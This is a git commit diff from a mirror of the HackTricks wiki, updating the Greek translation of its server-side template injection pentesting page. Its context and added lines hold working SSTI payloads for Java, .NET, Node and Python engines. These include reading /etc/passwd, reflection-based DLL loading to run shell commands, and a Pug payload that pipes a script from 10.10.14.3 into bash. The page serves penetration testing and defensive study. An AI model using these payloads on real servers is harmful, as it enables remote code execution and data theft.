mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/ssti-server-side-template-injection/READ
This commit is contained in:
parent
d78179b662
commit
4c1526edec
@ -22,7 +22,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
|
||||
### Ανίχνευση
|
||||
|
||||
Για να ανιχνευθεί η Έγχυση Template στον Διακομιστή (SSTI), αρχικά, **η δοκιμή του template** είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την εισαγωγή μιας ακολουθίας ειδικών χαρακτήρων (**`${{<%[%'"}}%\`**) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν:
|
||||
Για να ανιχνευθεί η Έγχυση Template στον Διακομιστή (SSTI), αρχικά, **η δοκιμή του template** είναι μια απλή προσέγγιση. Αυτό περιλαμβάνει την έγχυση μιας ακολουθίας ειδικών χαρακτήρων (**`${{<%[%'"}}%\`**) στο template και την ανάλυση των διαφορών στην απόκριση του διακομιστή σε κανονικά δεδομένα σε σύγκριση με αυτό το ειδικό payload. Οι δείκτες ευπάθειας περιλαμβάνουν:
|
||||
|
||||
- Ρίψεις σφαλμάτων, που αποκαλύπτουν την ευπάθεια και ενδεχομένως τη μηχανή template.
|
||||
- Απουσία του payload στην αντανάκλαση, ή μέρη του να λείπουν, υποδηλώνοντας ότι ο διακομιστής το επεξεργάζεται διαφορετικά από τα κανονικά δεδομένα.
|
||||
@ -43,7 +43,7 @@ http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
|
||||
### [TInjA](https://github.com/Hackmanit/TInjA)
|
||||
|
||||
ένας αποτελεσματικός σαρωτής SSTI + CSTI που χρησιμοποιεί καινοτόμους πολυγλωσσικούς κώδικες.
|
||||
ένας αποδοτικός σαρωτής SSTI + CSTI που χρησιμοποιεί καινοτόμους πολυγλωσσικούς κώδικες.
|
||||
```bash
|
||||
tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
|
||||
tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..."
|
||||
@ -155,7 +155,7 @@ $out.read()
|
||||
|
||||
### Thymeleaf
|
||||
|
||||
Στο Thymeleaf, μια κοινή δοκιμή για ευπάθειες SSTI είναι η έκφραση `${7*7}`, η οποία ισχύει επίσης για αυτή την μηχανή προτύπων. Για πιθανή απομακρυσμένη εκτέλεση κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι παρακάτω:
|
||||
Στο Thymeleaf, μια κοινή δοκιμή για ευπάθειες SSTI είναι η έκφραση `${7*7}`, η οποία ισχύει επίσης για αυτή την μηχανή προτύπων. Για πιθανή απομακρυσμένη εκτέλεση κώδικα, μπορούν να χρησιμοποιηθούν εκφράσεις όπως οι εξής:
|
||||
|
||||
- SpringEL:
|
||||
|
||||
@ -203,7 +203,7 @@ el-expression-language.md
|
||||
```
|
||||
**Παράκαμψη φίλτρων**
|
||||
|
||||
Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών, αν το `${...}` δεν λειτουργεί δοκιμάστε το `#{...}`, `*{...}`, `@{...}` ή `~{...}`.
|
||||
Μπορούν να χρησιμοποιηθούν πολλαπλές εκφράσεις μεταβλητών, αν το `${...}` δεν λειτουργεί δοκιμάστε `#{...}`, `*{...}`, `@{...}` ή `~{...}`.
|
||||
|
||||
- Διαβάστε το `/etc/passwd`
|
||||
```java
|
||||
@ -309,9 +309,9 @@ Jinjava είναι ένα έργο ανοιχτού κώδικα που αναπ
|
||||
|
||||
### Hubspot - HuBL (Java)
|
||||
|
||||
- `{% %}` διαχωριστικά δηλώσεων
|
||||
- `{{ }}` διαχωριστικά εκφράσεων
|
||||
- `{# #}` διαχωριστικά σχολίων
|
||||
- `{% %}` δηλωτές δηλώσεων
|
||||
- `{{ }}` δηλωτές εκφράσεων
|
||||
- `{# #}` δηλωτές σχολίων
|
||||
- `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206
|
||||
- `{{'a'.toUpperCase()}}` - "A"
|
||||
- `{{'a'.concat('b')}}` - "ab"
|
||||
@ -372,9 +372,9 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
||||
- `${{7*7}}` - 49
|
||||
- `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
Η Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ της παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως τα managed beans) στην JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:
|
||||
Η Expression Language (EL) είναι μια θεμελιώδης δυνατότητα που διευκολύνει την αλληλεπίδραση μεταξύ της παρουσίασης (όπως οι ιστοσελίδες) και της λογικής εφαρμογής (όπως τα managed beans) στο JavaEE. Χρησιμοποιείται εκτενώς σε πολλές τεχνολογίες JavaEE για να απλοποιήσει αυτή την επικοινωνία. Οι βασικές τεχνολογίες JavaEE που χρησιμοποιούν EL περιλαμβάνουν:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Χρησιμοποιεί EL για να συνδέσει τα στοιχεία στις σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες του backend.
|
||||
- **JavaServer Faces (JSF)**: Χρησιμοποιεί EL για να συνδέσει τα στοιχεία στις σελίδες JSF με τα αντίστοιχα δεδομένα και ενέργειες στο backend.
|
||||
- **JavaServer Pages (JSP)**: Η EL χρησιμοποιείται σε JSP για την πρόσβαση και την επεξεργασία δεδομένων εντός των σελίδων JSP, διευκολύνοντας τη σύνδεση των στοιχείων της σελίδας με τα δεδομένα της εφαρμογής.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: Η EL ενσωματώνεται με το CDI για να επιτρέπει την απρόσκοπτη αλληλεπίδραση μεταξύ της διαδικτυακής διεπαφής και των managed beans, εξασφαλίζοντας μια πιο συνεκτική δομή εφαρμογής.
|
||||
|
||||
@ -611,7 +611,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
||||
|
||||
### patTemplate (PHP)
|
||||
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) μη-συμπληρωματική μηχανή templating PHP, που χρησιμοποιεί XML tags για να διαιρέσει ένα έγγραφο σε διάφορα μέρη
|
||||
> [patTemplate](https://github.com/wernerwa/pat-template) μη-συμπληρωματική μηχανή θεμάτων PHP, που χρησιμοποιεί XML tags για να διαιρέσει ένα έγγραφο σε διάφορα μέρη
|
||||
```xml
|
||||
<patTemplate:tmpl name="page">
|
||||
This is the main page.
|
||||
@ -679,7 +679,7 @@ URLencoded:
|
||||
```python
|
||||
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
|
||||
```
|
||||
**Διακομιστής**
|
||||
**Εξυπηρετητής**
|
||||
```bash
|
||||
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
|
||||
```
|
||||
@ -693,7 +693,7 @@ URLencoded:
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
|
||||
- `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
|
||||
|
||||
**Παράδειγμα απόδοσης πλευράς διακομιστή**
|
||||
**Παράδειγμα απόδοσης από τον διακομιστή**
|
||||
```javascript
|
||||
var pugjs = require("pug")
|
||||
home = pugjs.render(injected_page)
|
||||
@ -814,7 +814,7 @@ range.constructor(
|
||||
|
||||
[Επίσημη ιστοσελίδα](http://jinja.pocoo.org)
|
||||
|
||||
> Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη sandboxed εκτελεστική περιβάλλον, ευρέως χρησιμοποιούμενη και με άδεια BSD.
|
||||
> Το Jinja2 είναι μια πλήρης μηχανή προτύπων για Python. Έχει πλήρη υποστήριξη unicode, μια προαιρετική ενσωματωμένη εκτελεστική περιβάλλον sandbox, είναι ευρέως χρησιμοποιούμενη και άδεια BSD.
|
||||
|
||||
- `{{7*7}} = Error`
|
||||
- `${7*7} = ${7*7}`
|
||||
@ -928,6 +928,23 @@ ${x}
|
||||
|
||||
- [https://www.w3schools.com/asp/asp_examples.asp](https://www.w3schools.com/asp/asp_examples.asp)
|
||||
|
||||
### .Net Παράκαμψη περιορισμών
|
||||
|
||||
Οι μηχανισμοί Reflection του .NET μπορούν να χρησιμοποιηθούν για να παρακάμψουν τη μαύρη λίστα ή κλάσεις που δεν είναι παρούσες στη βιβλιοθήκη. DLL's μπορούν να φορτωθούν κατά την εκτέλεση με μεθόδους και ιδιότητες προσβάσιμες από βασικά αντικείμενα.
|
||||
|
||||
Dll's μπορούν να φορτωθούν με:
|
||||
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))}` - από το filesystem.
|
||||
- `{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])}` - απευθείας από το αίτημα.
|
||||
|
||||
Πλήρης εκτέλεση εντολής:
|
||||
```
|
||||
{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}
|
||||
```
|
||||
**Περισσότερες Πληροφορίες**
|
||||
|
||||
- [https://efigo.pl/en/blog/cve-2024-9150/](https://efigo.pl/en/blog/cve-2024-9150/)
|
||||
|
||||
### Mojolicious (Perl)
|
||||
|
||||
Ακόμα και αν είναι perl, χρησιμοποιεί ετικέτες όπως ERB στη Ruby.
|
||||
@ -950,7 +967,7 @@ ${x}
|
||||
|
||||
**XSS Exploitation**
|
||||
|
||||
Με το πακέτο `text/template`, το XSS μπορεί να είναι απλό εισάγοντας το payload απευθείας. Αντίθετα, το πακέτο `html/template` κωδικοποιεί την απόκριση για να το αποτρέψει (π.χ., `{{"<script>alert(1)</script>"}}` έχει ως αποτέλεσμα `<script>alert(1)</script>`). Παρ' όλα αυτά, ο ορισμός και η κλήση προτύπων στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
Με το πακέτο `text/template`, το XSS μπορεί να είναι απλό εισάγοντας το payload απευθείας. Αντίθετα, το πακέτο `html/template` κωδικοποιεί την απάντηση για να το αποτρέψει (π.χ., `{{"<script>alert(1)</script>"}}` έχει ως αποτέλεσμα `<script>alert(1)</script>`). Παρ' όλα αυτά, ο ορισμός και η κλήση προτύπων στο Go μπορούν να παρακάμψουν αυτή την κωδικοποίηση: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}
|
||||
|
||||
vbnet Copy code
|
||||
|
||||
@ -972,7 +989,7 @@ return string(out)
|
||||
|
||||
### Περισσότερες Εκμεταλλεύσεις
|
||||
|
||||
Ελέγξτε το υπόλοιπο του [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες σχετικά με τις ετικέτες στο [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
Δείτε το υπόλοιπο [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) για περισσότερες εκμεταλλεύσεις. Επίσης, μπορείτε να βρείτε ενδιαφέρουσες πληροφορίες σχετικά με τις ετικέτες στο [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
|
||||
|
||||
## BlackHat PDF
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user